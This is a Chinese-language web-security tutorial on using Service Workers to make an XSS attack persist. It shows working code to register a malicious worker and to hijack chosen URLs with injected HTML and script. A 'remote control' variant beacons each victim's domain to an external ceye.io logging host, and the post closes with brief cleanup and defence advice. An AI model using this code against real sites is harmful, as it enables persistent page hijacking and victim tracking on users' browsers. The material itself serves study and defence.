service worker--xss进化
总阅读次
我们可以用 JS 代码来拦截浏览器当前域的 HTTP 请求,并设置缓存的文件,直接返回,不经过 web 服务器,使目标只要在线就可以被我们控制。可怕的是,即便 xss 漏洞被修复了,攻击仍然持续,并且渗透到攻击范围内的每一个 url。
Service Worker 是什么?
一个 service worker 是一段运行在浏览器后台进程里的脚本,它独立于当前页面。在将来,基于它可以实现消息推送,静默更新以及地理围栏等服务,但是目前它首先要具备的功能是拦截和处理网络请求,包括可编程的响应缓存管理。
Service Worker是基于Web Worker的事件驱动的,他们执行的机制都是新开一个线程去处理一些额外的任务。对于Web Worker,我们可以使用它来进行复杂的计算,因为它并不阻塞浏览器主线程的渲染。而Service Worker,我们可以用它来进行本地缓存,相当于一个本地的proxy。说起缓存,我们会想起我们常用的一些缓存技术来缓存我们的静态资源,但是老的方式是不支持调试的,灵活性不高。使用Service Worker来进行缓存,我们可以用javascript代码来拦截浏览器的http请求,并设置缓存的文件,直接返回,不经过web服务器。
我们可以用 JS 代码来拦截浏览器当前域的 HTTP 请求,并设置缓存的文件,直接返回,不经过 web 服务器,使目标只要在线就可以被我们控制。可怕的是,即便 xss 漏洞被修复了,攻击仍然持续,并且渗透到攻击范围内的每一个 url。
由于这项技术能量太大,所以在设计的时候对他做了一定的约束:只在 HTTPS 下工作,安装ServiceWorker的脚本需要当前域下,且返回的 content-type 包含javascript。
在 worker 线程中,可以获得下列对象
- navigator对象
- location对象,只读
- XMLHttpRequest对象
- setTimeout/setInterval方法
- Application Cache
- 通过importScripts()方法加载其他脚本
- 创建新的Web Worker
Worker 线程不能获得下列对象
- DOM对象
- window对象
- document对象
- parent对象
所以在worker线程中,不能进行dom元素的更新。也就是说在 Worker 的作用域中我们难以完成 XSS 攻击,所以还是得通过劫持 来完成攻击。
攻击
攻击需要的点:
1.注册service worker
需要一个可以xss的点1
2
3
4
5
6if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/hack.js')
.then(function(registration) {
console.log('ServiceWorker registration successful with scope: ', registration.scope);
})
};
在这个例子中,service worker文件被放在这个域的根目录下,这意味着service worker和网站同源。换句话说,这个service work将会收到这个域下的所有fetch事件。如果我将service worker文件注册为/example/hack.js,那么,service worker只能收到/example/路径下的fetch事件(例如: /example/page1/, /example/page2/)。
2.hack.js可以是上传到网站的js文件,也可以是一个jsonp的接口。hack.js的内容如下:
1 | this.addEventListener('fetch', function(event) { |
试图拦截请求,重定向到给定url,失败1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28self.addEventListener('fetch', function (event) {
event.respondWith(
caches.match(event.request).then(function(res){
if(res){//如果有缓存则使用缓存
return res;
}
return requestBackend(event);//没缓存就进行缓存
})
)
});
function requestBackend(event){
var url = event.request.clone();
if(url.url=='http://127.0.0.1/aaa.html'){//判断是否为需要劫持的资源
url.url='//html5sec.org/test.js';
}
return fetch(url).then(function(res){
//检测是否为有效响应
if(!res || res.status !== 200 || res.type !== 'basic'){
return res;
}
var response = res.clone();
caches.open('v1').then(function(cache){
cache.put(event.request, response);
});
return res;
})
}
原因是request.url是只读的
拦截针对某个url的请求,返回特定内容,成功1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32self.addEventListener('fetch', function (event) {
event.respondWith(
//console.log(event.request)
caches.match(event.request).then(function(res){
if(res){//如果有缓存则使用缓存
return res;
}
return requestBackend(event);//没缓存就进行缓存
})
)
});
function requestBackend(event){
var url = event.request.clone();
console.log(url)
if(url.url=='http://127.0.0.1/aaa.html'){//判断是否为需要劫持的资源
return new Response("<script>alert(1)</script>", {headers: { 'Content-Type': 'text/html' }})
}
return fetch(url).then(function(res){
//检测是否为有效响应
if(!res || res.status !== 200 || res.type !== 'basic'){
return res;
}
var response = res.clone();
caches.open('v1').then(function(cache){
cache.put(event.request, response);
});
return res;
})
}
具体的攻击过程:
一开始未被攻击的aaa.html正常显示。
用户访问存在xss的页面hijack.html。注册上传到网站的1.js。
或是利用存在jsonp注入的url进行注册。
此时再访问aaa.html就如图了。重启浏览器依然如此。访问其他页面可以正常访问。
service worker只支持https的页面。在github测试成功。
继续玩
如何实现一个SW远控1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32self.addEventListener('fetch', function (event) {
event.respondWith(
//console.log(event.request)
caches.match(event.request).then(function(res){
if(res){//如果有缓存则使用缓存
return res;
}
return requestBackend(event);//没缓存就进行缓存
})
)
});
function requestBackend(event){
var url = event.request.clone();
console.log(url)
if(url.url=='http://127.0.0.1/aaa.php'){//判断是否为需要劫持的资源
// importScripts('3.js');
return new Response("<div id='div1'><p id='p1'>这是一个段落</p><p id='p2'>这是另一个段落</p></div><script src='http://127.0.0.1/3.js'></script><script src='http://html5sec.org/test.js'>var head = document.getElementsByTagName('head')[0];var ele=document.createElement('script');ele.src = 'http://'+document.domain+'.pxmnr7.ceye.io';head.appendChild(ele);</script>", {headers: { 'Content-Type': 'text/html' }});
}
return fetch(url).then(function(res){
//检测是否为有效响应
if(!res || res.status !== 200 || res.type !== 'basic'){
return res;
}
var response = res.clone();
caches.open('v1').then(function(cache){
cache.put(event.request, response);
});
return res;
})
}
重点关注Reponse,Response只拦截aaa.php,注入外部js。
其中3.js内容为1
2
3alert(11111);
var para=document.createElement('p');var node=document.createTextNode('这是新段落。');para.appendChild(node);var element=document.getElementById('div1');element.appendChild(para);
var head = document.getElementsByTagName('head')[0];var ele=document.createElement('script');ele.src = 'http://'+document.domain+'.pxmnr7.ceye.io';head.appendChild(ele);
目的为修改页面内容,继续注入外部JS,这里注入的JS仅供娱乐,目的是定位是哪个站正在遭受攻击。
同样,用户先访问aaa.php,正常。
不小心访问了hijack.html。这时候回头继续看aaa.php。
可以看到出现了一个新段落,达到了修改页面内容和继续注入外部JS的目的。
最后看看ceye上的结果
这时只要目标访问aaa.php,就能看到他上线。当然也可以设定SW工作在整个域下或者某个目录下。
解除攻击
1 | navigator.serviceWorker.getRegistration() |
最快的办法是在 Chrome 下打开 chrome://serviceworker-internals
防范方法
Jsonp 接口的 callback 做白名单,或者只允许特定字符(比如数字、字母和下划线)。
Jsonp所在域不应该存在 XSS(一切类型)和用户可控的 js 文件。